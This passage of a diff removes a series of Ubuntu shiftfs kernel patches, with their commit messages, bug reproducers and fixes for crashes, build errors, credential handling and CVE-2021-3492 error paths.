-- newattr.ia_gid = KGIDT_INIT(from_kgid(sb->s_user_ns, attr->ia_gid)); |
5248 |
-+ newattr.ia_uid = shift_kuid(sb->s_user_ns, sbinfo->userns, attr->ia_uid); |
5249 |
-+ newattr.ia_gid = shift_kgid(sb->s_user_ns, sbinfo->userns, attr->ia_gid); |
5250 |
- |
5251 |
- /* |
5252 |
- * mode change is for clearing setuid/setgid bits. Allow lower fs |
5253 |
-@@ -1356,6 +1358,7 @@ static int shiftfs_override_ioctl_creds(const struct super_block *sb, |
5254 |
- const struct cred **oldcred, |
5255 |
- struct cred **newcred) |
5256 |
- { |
5257 |
-+ struct shiftfs_super_info *sbinfo = sb->s_fs_info; |
5258 |
- kuid_t fsuid = current_fsuid(); |
5259 |
- kgid_t fsgid = current_fsgid(); |
5260 |
- |
5261 |
-@@ -1367,8 +1370,8 @@ static int shiftfs_override_ioctl_creds(const struct super_block *sb, |
5262 |
- return -ENOMEM; |
5263 |
- } |
5264 |
- |
5265 |
-- (*newcred)->fsuid = KUIDT_INIT(from_kuid(sb->s_user_ns, fsuid)); |
5266 |
-- (*newcred)->fsgid = KGIDT_INIT(from_kgid(sb->s_user_ns, fsgid)); |
5267 |
-+ (*newcred)->fsuid = shift_kuid(sb->s_user_ns, sbinfo->userns, fsuid); |
5268 |
-+ (*newcred)->fsgid = shift_kgid(sb->s_user_ns, sbinfo->userns, fsgid); |
5269 |
- |
5270 |
- /* clear all caps to prevent bypassing capable() checks */ |
5271 |
- cap_clear((*newcred)->cap_bset); |
5272 |
--- |
5273 |
-2.39.2 |
5274 |
- |
5275 |
-From f140d37a80df29e1746b9ba9a29cf5b505c6a70f Mon Sep 17 00:00:00 2001 |
5276 |
-From: Christian Brauner <christian.brauner@××××××.com> |
5277 |
-Date: Fri, 17 Jan 2020 16:17:06 +0100 |
5278 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: prevent lower dentries from going |
5279 |
- negative during unlink |
5280 |
-Cc: mpagano@g.o |
5281 |
- |
5282 |
-BugLink: https://bugs.launchpad.net/bugs/1860041 |
5283 |
- |
5284 |
-All non-special files (For shiftfs this only includes fifos and - for |
5285 |
-this case - unix sockets - since we don't allow character and block |
5286 |
-devices to be created.) go through shiftfs_open() and have their dentry |
5287 |
-pinned through this codepath preventing it from going negative. But |
5288 |
-fifos don't use the shiftfs fops but rather use the pipefifo_fops which |
5289 |
-means they do not go through shiftfs_open() and thus don't have their |
5290 |
-dentry pinned that way. Thus, the lower dentries for such files can go |
5291 |
-negative on unlink causing segfaults. The following C program can be |
5292 |
-used to reproduce the crash: |
5293 |
- |
5294 |
- #include <stdio.h> |
5295 |
- #include <fcntl.h> |
5296 |
- #include <unistd.h> |
5297 |
- #include <sys/types.h> |
5298 |
- #include <sys/stat.h> |
5299 |
- #include <unistd.h> |
5300 |
- #include <stdlib.h> |
5301 |
- |
5302 |
- int main(int argc, char *argv[]) |
5303 |
- { |
5304 |
- struct stat stat; |
5305 |
- |
5306 |
- unlink("./bbb"); |
5307 |
- |
5308 |
- int ret = mknod("./bbb", S_IFIFO|0666, 0); |
5309 |
- if (ret < 0) |
5310 |
- exit(1); |
5311 |
- |
5312 |
- int fd = open("./bbb", O_RDWR); |
5313 |
- if (fd < 0) |
5314 |
- exit(2); |
5315 |
- |
5316 |
- if (unlink("./bbb")) |
5317 |
- exit(4); |
5318 |
- |
5319 |
- fstat(fd, &stat); |
5320 |
- |
5321 |
- return 0; |
5322 |
- } |
5323 |
- |
5324 |
-Similar to ecryptfs we need to dget() the lower dentry before calling |
5325 |
-vfs_unlink() on it and dput() it afterwards. |
5326 |
- |
5327 |
-Acked-by: Stefan Bader <stefan.bader@×××××××××.com> |
5328 |
-Link: https://travis-ci.community/t/arm64-ppc64le-segfaults/6158/3 |
5329 |
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com> |
5330 |
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com> |
5331 |
-Acked-by: Stefan Bader <stefan.bader@×××××××××.com> |
5332 |
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com> |
5333 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
5334 |
---- |
5335 |
- fs/shiftfs.c | 2 ++ |
5336 |
- 1 file changed, 2 insertions(+) |
5337 |
- |
5338 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
5339 |
-index 04fba4689eb6..3623d02b061e 100644 |
5340 |
---- a/fs/shiftfs.c |
5341 |
-+++ b/fs/shiftfs.c |
5342 |
-@@ -583,6 +583,7 @@ static int shiftfs_rm(struct inode *dir, struct dentry *dentry, bool rmdir) |
5343 |
- int err; |
5344 |
- const struct cred *oldcred; |
5345 |
- |
5346 |
-+ dget(lowerd); |
5347 |
- oldcred = shiftfs_override_creds(dentry->d_sb); |
5348 |
- inode_lock_nested(loweri, I_MUTEX_PARENT); |
5349 |
- if (rmdir) |
5350 |
-@@ -602,6 +603,7 @@ static int shiftfs_rm(struct inode *dir, struct dentry *dentry, bool rmdir) |
5351 |
- inode_unlock(loweri); |
5352 |
- |
5353 |
- shiftfs_copyattr(loweri, dir); |
5354 |
-+ dput(lowerd); |
5355 |
- |
5356 |
- return err; |
5357 |
- } |
5358 |
--- |
5359 |
-2.39.2 |
5360 |
- |
5361 |
-From c9d38b0997c70e60f89b31c83d1b7a1e375f28b1 Mon Sep 17 00:00:00 2001 |
5362 |
-From: Christian Brauner <christian.brauner@××××××.com> |
5363 |
-Date: Fri, 10 Apr 2020 16:55:28 +0200 |
5364 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: record correct creator credentials |
5365 |
-Cc: mpagano@g.o |
5366 |
- |
5367 |
-BugLink: https://bugs.launchpad.net/bugs/1872094 |
5368 |
- |
5369 |
-When shiftfs is nested we failed to be able to create any files or |
5370 |
-access directories because we recorded the wrong creator credentials. We |
5371 |
-need to record the credentials of the creator of the lowers mark mount |
5372 |
-of shiftfs. Otherwise we aren't privileged wrt to the shiftfs layer in |
5373 |
-the nesting case. This is similar to how we always record the user |
5374 |
-namespace of the base filesystem. |
5375 |
- |
5376 |
-Suggested-by: Seth Forshee <seth.forshee@×××××××××.com> |
5377 |
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com> |
5378 |
-Acked-by: Kleber Sacilotto de Souza <kleber.souza@×××××××××.com> |
5379 |
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com> |
5380 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
5381 |
---- |
5382 |
- fs/shiftfs.c | 17 +++++++++-------- |
5383 |
- 1 file changed, 9 insertions(+), 8 deletions(-) |
5384 |
- |
5385 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
5386 |
-index 3623d02b061e..5c39529d0a17 100644 |
5387 |
---- a/fs/shiftfs.c |
5388 |
-+++ b/fs/shiftfs.c |
5389 |
-@@ -2020,6 +2020,7 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data, |
5390 |
- * parent mark mountpoint. |
5391 |
- */ |
5392 |
- sbinfo->passthrough_mark = sbinfo_mp->passthrough_mark; |
5393 |
-+ sbinfo->creator_cred = get_cred(sbinfo_mp->creator_cred); |
5394 |
- } else { |
5395 |
- sbinfo->mnt = mntget(path.mnt); |
5396 |
- dentry = dget(path.dentry); |
5397 |
-@@ -2028,16 +2029,16 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data, |
5398 |
- * are identical. |
5399 |
- */ |
5400 |
- sbinfo->passthrough_mark = sbinfo->passthrough; |
5401 |
-- } |
5402 |
- |
5403 |
-- cred_tmp = prepare_creds(); |
5404 |
-- if (!cred_tmp) { |
5405 |
-- err = -ENOMEM; |
5406 |
-- goto out_put_path; |
5407 |
-+ cred_tmp = prepare_creds(); |
5408 |
-+ if (!cred_tmp) { |
5409 |
-+ err = -ENOMEM; |
5410 |
-+ goto out_put_path; |
5411 |
-+ } |
5412 |
-+ /* Don't override disk quota limits or use reserved space. */ |
5413 |
-+ cap_lower(cred_tmp->cap_effective, CAP_SYS_RESOURCE); |
5414 |
-+ sbinfo->creator_cred = cred_tmp; |
5415 |
- } |
5416 |
-- /* Don't override disk quota limits or use reserved space. */ |
5417 |
-- cap_lower(cred_tmp->cap_effective, CAP_SYS_RESOURCE); |
5418 |
-- sbinfo->creator_cred = cred_tmp; |
5419 |
- } else { |
5420 |
- /* |
5421 |
- * This leg executes if we're admin capable in the namespace, |
5422 |
--- |
5423 |
-2.39.2 |
5424 |
- |
5425 |
-From 485977eb4fb2701211275d28ca4fdbec87704a18 Mon Sep 17 00:00:00 2001 |
5426 |
-From: Christian Brauner <christian.brauner@××××××.com> |
5427 |
-Date: Wed, 20 May 2020 13:44:27 +0200 |
5428 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: let userns root destroy subvolumes |
5429 |
- from other users |
5430 |
-MIME-Version: 1.0 |
5431 |
-Content-Type: text/plain; charset=UTF-8 |
5432 |
-Content-Transfer-Encoding: 8bit |
5433 |
-Cc: mpagano@g.o |
5434 |
- |
5435 |
-BugLink: https://bugs.launchpad.net/bugs/1879688 |
5436 |
- |
5437 |
-Stéphane reported a bug found during NorthSec that makes heavy use of |
5438 |
-shiftfs. When a subvolume or snapshot is created as userns root in the |
5439 |
-container and then chowned to another user a delete as the root user |
5440 |
-will fail. The reason for this is that we drop all capabilities as a |
5441 |
-safety measure before calling btrfs ioctls. The only workable fix I |
5442 |
-could think of is to retain the CAP_DAC_OVERRIDE capability for the |
5443 |
-BTRFS_IOC_SNAP_DESTROY ioctl. All other solutions would be way more |
5444 |
-invasive. |
5445 |
- |
5446 |
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com> |
5447 |
-Cc: Seth Forshee <seth.forshee@×××××××××.com> |
5448 |
-Acked-by: Kleber Sacilotto de Souza <kleber.souza@×××××××××.com> |
5449 |
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com> |
5450 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
5451 |
---- |
5452 |
- fs/shiftfs.c | 14 ++++++++++++-- |
5453 |
- 1 file changed, 12 insertions(+), 2 deletions(-) |
5454 |
- |
5455 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
5456 |
-index 5c39529d0a17..5d88193b41db 100644 |
5457 |
---- a/fs/shiftfs.c |
5458 |
-+++ b/fs/shiftfs.c |
5459 |
-@@ -1356,7 +1356,7 @@ static int shiftfs_fadvise(struct file *file, loff_t offset, loff_t len, |
5460 |
- return ret; |
5461 |
- } |
5462 |
- |
5463 |
--static int shiftfs_override_ioctl_creds(const struct super_block *sb, |
5464 |
-+static int shiftfs_override_ioctl_creds(int cmd, const struct super_block *sb, |
5465 |
- const struct cred **oldcred, |
5466 |
- struct cred **newcred) |
5467 |
- { |
5468 |
-@@ -1381,6 +1381,16 @@ static int shiftfs_override_ioctl_creds(const struct super_block *sb, |
5469 |
- cap_clear((*newcred)->cap_inheritable); |
5470 |
- cap_clear((*newcred)->cap_permitted); |
5471 |
- |
5472 |
-+ if (cmd == BTRFS_IOC_SNAP_DESTROY) { |
5473 |
-+ kuid_t kuid_root = make_kuid(sb->s_user_ns, 0); |
5474 |
-+ /* |
5475 |
-+ * Allow the root user in the container to remove subvolumes |
5476 |
-+ * from other users. |
5477 |
-+ */ |
5478 |
-+ if (uid_valid(kuid_root) && uid_eq(fsuid, kuid_root)) |
5479 |
-+ cap_raise((*newcred)->cap_effective, CAP_DAC_OVERRIDE); |
5480 |
-+ } |
5481 |
-+ |
5482 |
- put_cred(override_creds(*newcred)); |
5483 |
- return 0; |
5484 |
- } |
5485 |
-@@ -1513,7 +1523,7 @@ static long shiftfs_real_ioctl(struct file *file, unsigned int cmd, |
5486 |
- if (ret) |
5487 |
- goto out_restore; |
5488 |
- |
5489 |
-- ret = shiftfs_override_ioctl_creds(sb, &oldcred, &newcred); |
5490 |
-+ ret = shiftfs_override_ioctl_creds(cmd, sb, &oldcred, &newcred); |
5491 |
- if (ret) |
5492 |
- goto out_fdput; |
5493 |
- |
5494 |
--- |
5495 |
-2.39.2 |
5496 |
- |
5497 |
-From e090464bdd744306b3b766b2a675ee26e934f1ef Mon Sep 17 00:00:00 2001 |
5498 |
-From: Seth Forshee <seth.forshee@×××××××××.com> |
5499 |
-Date: Mon, 15 Jun 2020 15:16:11 -0500 |
5500 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs -- Fix build errors from missing |
5501 |
- fiemap definitions |
5502 |
-Cc: mpagano@g.o |
5503 |
- |
5504 |
-shiftfs FTBFS with 5.8-rc1: |
5505 |
- |
5506 |
- /tmp/kernel-sforshee-6727637082e4-45IQ/build/fs/shiftfs.c: In function 'shiftfs_fiemap': |
5507 |
- /tmp/kernel-sforshee-6727637082e4-45IQ/build/fs/shiftfs.c:731:13: error: dereferencing pointer to incomplete type 'struct fiemap_extent_info' |
5508 |
- /tmp/kernel-sforshee-6727637082e4-45IQ/build/fs/shiftfs.c:731:26: error: 'FIEMAP_FLAG_SYNC' undeclared (first use in this function); did you mean 'FS_XFLAG_SYNC'? |
5509 |
- |
5510 |
-It seems that shiftfs was getting linux/fiemap.h included |
5511 |
-indirectly before. Include it directly. |
5512 |
- |
5513 |
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com> |
5514 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
5515 |
---- |
5516 |
- fs/shiftfs.c | 1 + |
5517 |
- 1 file changed, 1 insertion(+) |
5518 |
- |
5519 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
5520 |
-index 5d88193b41db..f9a5c94a9793 100644 |
5521 |
---- a/fs/shiftfs.c |
5522 |
-+++ b/fs/shiftfs.c |
5523 |
-@@ -20,6 +20,7 @@ |
5524 |
- #include <linux/posix_acl.h> |
5525 |
- #include <linux/posix_acl_xattr.h> |
5526 |
- #include <linux/uio.h> |
5527 |
-+#include <linux/fiemap.h> |
5528 |
- |
5529 |
- struct shiftfs_super_info { |
5530 |
- struct vfsmount *mnt; |
5531 |
--- |
5532 |
-2.39.2 |
5533 |
- |
5534 |
-From 436cc946e1acb3833c41e6a7df3239f5f559369a Mon Sep 17 00:00:00 2001 |
5535 |
-From: Christian Brauner <christian.brauner@××××××.com> |
5536 |
-Date: Tue, 23 Jun 2020 19:46:16 +0200 |
5537 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: prevent ESTALE for LOOKUP_JUMP |
5538 |
- lookups |
5539 |
-Cc: mpagano@g.o |
5540 |
- |
5541 |
-BugLink: https://bugs.launchpad.net/bugs/1872757 |
5542 |
- |
5543 |
-Users reported that creating temporary files shiftfs reports ESTALE. |
5544 |
-This can be reproduced via: |
5545 |
- |
5546 |
-import tempfile |
5547 |
-import os |
5548 |
- |
5549 |
-def test(): |
5550 |
- with tempfile.TemporaryFile() as fd: |
5551 |
- fd.write("data".encode('utf-8')) |
5552 |
- # re-open the file to get a read-only file descriptor |
5553 |
- return open(f"/proc/self/fd/{fd.fileno()}", "r") |
5554 |
- |
5555 |
-def main(): |
5556 |
- fd = test() |
5557 |
- fd.close() |
5558 |
- |
5559 |
-if __name__ == "__main__": |
5560 |
- main() |
5561 |
- |
5562 |
-a similar issue was reported here: |
5563 |
-https://github.com/systemd/systemd/issues/14861 |
5564 |
- |
5565 |
-Our revalidate methods were very opinionated about whether or not a |
5566 |
-lower dentry was valid especially when it became unlinked we simply |
5567 |
-invalidated the lower dentry which caused above bug to surface. This has |
5568 |
-led to bugs where a ESTALE was returned for e.g. temporary files that |
5569 |
-were created and directly re-opened afterwards through |
5570 |
-/proc/<pid>/fd/<nr-of-deleted-file>. When a file is re-opened through |
5571 |
-/proc/<pid>/fd/<nr> LOOKUP_JUMP is set and the vfs will revalidate via |
5572 |
-d_weak_revalidate(). Since the file has been unhashed or even already |
5573 |
-gone negative we'd fail the open when we should've succeeded. |
5574 |
- |
5575 |
-Reported-by: Christian Kellner <ckellner@××××××.com> |
5576 |
-Reported-by: Evgeny Vereshchagin <evvers@××.ru> |
5577 |
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com> |
5578 |
-Cc: Seth Forshee <seth.forshee@×××××××××.com> |
5579 |
-Link: https://github.com/systemd/systemd/issues/14861 |
5580 |
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com> |
5581 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
5582 |
---- |
5583 |
- fs/shiftfs.c | 4 ---- |
5584 |
- 1 file changed, 4 deletions(-) |
5585 |
- |
5586 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
5587 |
-index f9a5c94a9793..3cfd1881e9a2 100644 |
5588 |
---- a/fs/shiftfs.c |
5589 |
-+++ b/fs/shiftfs.c |
5590 |
-@@ -252,8 +252,6 @@ static int shiftfs_d_weak_revalidate(struct dentry *dentry, unsigned int flags) |
5591 |
- struct inode *loweri = d_inode(lowerd); |
5592 |
- |
5593 |
- shiftfs_copyattr(loweri, inode); |
5594 |
-- if (!inode->i_nlink) |
5595 |
-- err = 0; |
5596 |
- } |
5597 |
- |
5598 |
- return err; |
5599 |
-@@ -279,8 +277,6 @@ static int shiftfs_d_revalidate(struct dentry *dentry, unsigned int flags) |
5600 |
- struct inode *loweri = d_inode(lowerd); |
5601 |
- |
5602 |
- shiftfs_copyattr(loweri, inode); |
5603 |
-- if (!inode->i_nlink) |
5604 |
-- err = 0; |
5605 |
- } |
5606 |
- |
5607 |
- return err; |
5608 |
--- |
5609 |
-2.39.2 |
5610 |
- |
5611 |
-From 21c3ebac069050649a03a1e9d5f2fd4c895fc6cd Mon Sep 17 00:00:00 2001 |
5612 |
-From: Andrea Righi <andrea.righi@×××××××××.com> |
5613 |
-Date: Wed, 30 Dec 2020 11:10:20 +0100 |
5614 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: fix build error with 5.11 |
5615 |
-Cc: mpagano@g.o |
5616 |
- |
5617 |
-After commit: |
5618 |
- |
5619 |
- 8760c909f54a82aaa6e76da19afe798a0c77c3c3 ("file: Rename __close_fd to close_fd and remove the files parameter") |
5620 |
- |
5621 |
-__close_fd() has been renamed to close_fd() and the files parameter has |
5622 |
-been removed. |
5623 |
- |
5624 |
-Change the shiftfs code to properly support this change. |
5625 |
- |
5626 |
-Signed-off-by: Andrea Righi <andrea.righi@×××××××××.com> |
5627 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
5628 |
---- |
5629 |
- fs/shiftfs.c | 4 ++-- |
5630 |
- 1 file changed, 2 insertions(+), 2 deletions(-) |
5631 |
- |
5632 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
5633 |
-index 3cfd1881e9a2..4f1d94903557 100644 |
5634 |
---- a/fs/shiftfs.c |
5635 |
-+++ b/fs/shiftfs.c |
5636 |
-@@ -1420,7 +1420,7 @@ static int shiftfs_btrfs_ioctl_fd_restore(int cmd, int fd, void __user *arg, |
5637 |
- else |
5638 |
- ret = copy_to_user(arg, v2, sizeof(*v2)); |
5639 |
- |
5640 |
-- __close_fd(current->files, fd); |
5641 |
-+ close_fd(fd); |
5642 |
- kfree(v1); |
5643 |
- kfree(v2); |
5644 |
- |
5645 |
-@@ -1468,7 +1468,7 @@ static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg, |
5646 |
- /* |
5647 |
- * shiftfs_real_fdget() does not take a reference to lfd.file, so |
5648 |
- * take a reference here to offset the one which will be put by |
5649 |
-- * __close_fd(), and make sure that reference is put on fdput(lfd). |
5650 |
-+ * close_fd(), and make sure that reference is put on fdput(lfd). |
5651 |
- */ |
5652 |
- get_file(lfd.file); |
5653 |
- lfd.flags |= FDPUT_FPUT; |
5654 |
--- |
5655 |
-2.39.2 |
5656 |
- |
5657 |
-From c0ebd52879a8805e07e59a25e72bce73e2ddcd90 Mon Sep 17 00:00:00 2001 |
5658 |
-From: Seth Forshee <seth.forshee@×××××××××.com> |
5659 |
-Date: Fri, 9 Apr 2021 13:01:06 -0500 |
5660 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: free allocated memory in |
5661 |
- shiftfs_btrfs_ioctl_fd_replace() error paths |
5662 |
-Cc: mpagano@g.o |
5663 |
- |
5664 |
-Many error paths in shiftfs_btrfs_ioctl_fd_replace() do not free memory |
5665 |
-allocated near the top of the function. Fix up these error paths to free |
5666 |
-the memory. |
5667 |
- |
5668 |
-Additionally, the addresses for the allocated memory are assigned to |
5669 |
-return parameters early in the function, before we know whether or not |
5670 |
-the function as a whole will return success. Wait to assign these values |
5671 |
-until we know the function was successful, and for good measure |
5672 |
-initialize the return parameters to NULL at the start. |
5673 |
- |
5674 |
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com> |
5675 |
-CVE-2021-3492 |
5676 |
-Signed-off-by: Thadeu Lima de Souza Cascardo <cascardo@×××××××××.com> |
5677 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
5678 |
---- |
5679 |
- fs/shiftfs.c | 28 +++++++++++++++++++++------- |
5680 |
- 1 file changed, 21 insertions(+), 7 deletions(-) |
5681 |
- |
5682 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
5683 |
-index 4f1d94903557..8eab93691d62 100644 |
5684 |
---- a/fs/shiftfs.c |
5685 |
-+++ b/fs/shiftfs.c |
5686 |
-@@ -1438,6 +1438,9 @@ static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg, |
5687 |
- struct btrfs_ioctl_vol_args *v1 = NULL; |
5688 |
- struct btrfs_ioctl_vol_args_v2 *v2 = NULL; |
5689 |
- |
5690 |
-+ *b1 = NULL; |
5691 |
-+ *b2 = NULL; |
5692 |
-+ |
5693 |
- if (!is_btrfs_snap_ioctl(cmd)) |
5694 |
- return 0; |
5695 |
- |
5696 |
-@@ -1446,23 +1449,23 @@ static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg, |
5697 |
- if (IS_ERR(v1)) |
5698 |
- return PTR_ERR(v1); |
5699 |
- oldfd = v1->fd; |
5700 |
-- *b1 = v1; |
5701 |
- } else { |
5702 |
- v2 = memdup_user(arg, sizeof(*v2)); |
5703 |
- if (IS_ERR(v2)) |
5704 |
- return PTR_ERR(v2); |
5705 |
- oldfd = v2->fd; |
5706 |
-- *b2 = v2; |
5707 |
- } |
5708 |
- |
5709 |
- src = fdget(oldfd); |
5710 |
-- if (!src.file) |
5711 |
-- return -EINVAL; |
5712 |
-+ if (!src.file) { |
5713 |
-+ ret = -EINVAL; |
5714 |
-+ goto err_free; |
5715 |
-+ } |
5716 |
- |
5717 |
- ret = shiftfs_real_fdget(src.file, &lfd); |
5718 |
- if (ret) { |
5719 |
- fdput(src); |
5720 |
-- return ret; |
5721 |
-+ goto err_free; |
5722 |
- } |
5723 |
- |
5724 |
- /* |
5725 |
-@@ -1477,7 +1480,8 @@ static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg, |
5726 |
- *newfd = get_unused_fd_flags(lfd.file->f_flags); |
5727 |
- if (*newfd < 0) { |
5728 |
- fdput(lfd); |
5729 |
-- return *newfd; |
5730 |
-+ ret = *newfd; |
5731 |
-+ goto err_free; |
5732 |
- } |
5733 |
- |
5734 |
- fd_install(*newfd, lfd.file); |
5735 |
-@@ -1492,8 +1496,18 @@ static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg, |
5736 |
- v2->fd = oldfd; |
5737 |
- } |
5738 |
- |
5739 |
-- if (ret) |
5740 |
-+ if (!ret) { |
5741 |
-+ *b1 = v1; |
5742 |
-+ *b2 = v2; |
5743 |
-+ } else { |
5744 |
- shiftfs_btrfs_ioctl_fd_restore(cmd, *newfd, arg, v1, v2); |
5745 |
-+ } |
5746 |
-+ |
5747 |
-+ return ret; |
5748 |
-+ |
5749 |
-+err_free: |
5750 |
-+ kfree(v1); |
5751 |
-+ kfree(v2); |
5752 |
- |
5753 |
- return ret; |
5754 |
- } |
5755 |
--- |
5756 |
-2.39.2 |
5757 |
- |
5758 |
-From f0a7637da44fdf17351c0ba4c3f616941c749f57 Mon Sep 17 00:00:00 2001 |
5759 |
-From: Seth Forshee <seth.forshee@×××××××××.com> |
5760 |
-Date: Fri, 9 Apr 2021 13:10:37 -0500 |
5761 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: handle copy_to_user() return values |
5762 |
- correctly |
5763 |
-Cc: mpagano@g.o |
5764 |
- |
5765 |
-shiftfs expects copy_to_user() to return a negative error code on |
5766 |
-failure, when it actually returns the amount of uncopied data. Fix all |
5767 |
-code using copy_to_user() to handle the return values correctly. |
5768 |
- |
5769 |
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com> |
5770 |
-CVE-2021-3492 |
5771 |
-Signed-off-by: Thadeu Lima de Souza Cascardo <cascardo@×××××××××.com> |
5772 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
5773 |
---- |
5774 |
- fs/shiftfs.c | 3 ++- |
5775 |
- 1 file changed, 2 insertions(+), 1 deletion(-) |
5776 |
- |
5777 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
5778 |
-index 8eab93691d62..abeb7db3b9be 100644 |
5779 |
---- a/fs/shiftfs.c |
5780 |
-+++ b/fs/shiftfs.c |
5781 |
-@@ -1424,7 +1424,7 @@ static int shiftfs_btrfs_ioctl_fd_restore(int cmd, int fd, void __user *arg, |
5782 |
- kfree(v1); |
5783 |
- kfree(v2); |
5784 |
- |
5785 |
-- return ret; |
5786 |
-+ return ret ? -EFAULT: 0; |
5787 |
- } |
5788 |
- |
5789 |
- static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg, |
5790 |
-@@ -1501,6 +1501,7 @@ static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg, |
5791 |
- *b2 = v2; |
5792 |
- } else { |
5793 |
- shiftfs_btrfs_ioctl_fd_restore(cmd, *newfd, arg, v1, v2); |
5794 |
-+ ret = -EFAULT; |
5795 |
- } |
5796 |
- |
5797 |
- return ret; |
5798 |
--- |
5799 |
-2.39.2 |
5800 |
- |
5801 |
-From d2e7abdd84fb28842c61ffd7128977f29518e4ef Mon Sep 17 00:00:00 2001 |
5802 |
-From: Christian Brauner <christian.brauner@××××××.com> |
5803 |
-Date: Mon, 9 Aug 2021 17:15:28 +0200 |
5804 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: fix sendfile() invocations |
5805 |
-Cc: mpagano@g.o |
5806 |
- |
5807 |
-BugLink: https://bugs.launchpad.net/bugs/1939301 |
5808 |
- |
5809 |
-Upstream commit 36e2c7421f02 ("fs: don't allow splice read/write without explicit ops") |
5810 |
-caused a regression for us. It states: |
5811 |
- |
5812 |
-> default_file_splice_write is the last piece of generic code that uses |
5813 |
-> set_fs to make the uaccess routines operate on kernel pointers. It |
5814 |
-> implements a "fallback loop" for splicing from files that do not actually |
5815 |
-> provide a proper splice_read method. The usual file systems and other |
5816 |
-> high bandwidth instances all provide a ->splice_read, so this just removes |
5817 |
-> support for various device drivers and procfs/debugfs files. If splice |
5818 |
-> support for any of those turns out to be important it can be added back |
5819 |
-> by switching them to the iter ops and using generic_file_splice_read. |
5820 |
- |
5821 |
-this means that currently all workloads making use of sendfile() on |
5822 |
-shiftfs fail. This includes LXD, Anbox and a range of others. Fix this |
5823 |
-by providing explicit .splice_read() and .splice_write() methods which |
5824 |
-jus restores the status quo and we keep using a generic method provided |
5825 |
-by the vfs. |
5826 |
- |
5827 |
-Cc: Seth Forshee <sforshee@××××××.org> |
5828 |
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com> |
5829 |
-Signed-off-by: Paolo Pisati <paolo.pisati@×××××××××.com> |
5830 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
5831 |
---- |
5832 |
- fs/shiftfs.c | 2 ++ |
5833 |
- 1 file changed, 2 insertions(+) |
5834 |
- |
5835 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
5836 |
-index abeb7db3b9be..f5f6d8d8144e 100644 |
5837 |
---- a/fs/shiftfs.c |
5838 |
-+++ b/fs/shiftfs.c |
5839 |
-@@ -1737,6 +1737,8 @@ const struct file_operations shiftfs_file_operations = { |
5840 |
- .compat_ioctl = shiftfs_compat_ioctl, |
5841 |
- .copy_file_range = shiftfs_copy_file_range, |
5842 |
- .remap_file_range = shiftfs_remap_file_range, |
5843 |
-+ .splice_read = generic_file_splice_read, |
5844 |
-+ .splice_write = iter_file_splice_write, |
5845 |
- }; |
5846 |
- |
5847 |
- const struct file_operations shiftfs_dir_operations = { |
5848 |
--- |
5849 |
-2.39.2 |
5850 |
- |
5851 |
-From ff28712d9e52b3b0b2127e9898b96f7c1e11bd26 Mon Sep 17 00:00:00 2001 |
5852 |
-From: Andrea Righi <andrea.righi@×××××××××.com> |
5853 |
-Date: Thu, 20 Jan 2022 16:55:24 +0100 |
5854 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: support kernel 5.15 |
5855 |
-Cc: mpagano@g.o |
5856 |
- |
5857 |
-WARNING: after this change we may see some regressions if shiftfs is |
5858 |
-used with filesystem namespaces. |
5859 |
- |
5860 |
-Signed-off-by: Andrea Righi <andrea.righi@×××××××××.com> |
5861 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
5862 |
---- |
5863 |
- fs/shiftfs.c | 107 ++++++++++++++++++++++++++++++--------------------- |
5864 |
- 1 file changed, 64 insertions(+), 43 deletions(-) |
5865 |
- |
5866 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
5867 |
-index f5f6d8d8144e..76c54bc12018 100644 |
5868 |
---- a/fs/shiftfs.c |
5869 |
-+++ b/fs/shiftfs.c |
5870 |
-@@ -308,7 +308,8 @@ static const char *shiftfs_get_link(struct dentry *dentry, struct inode *inode, |
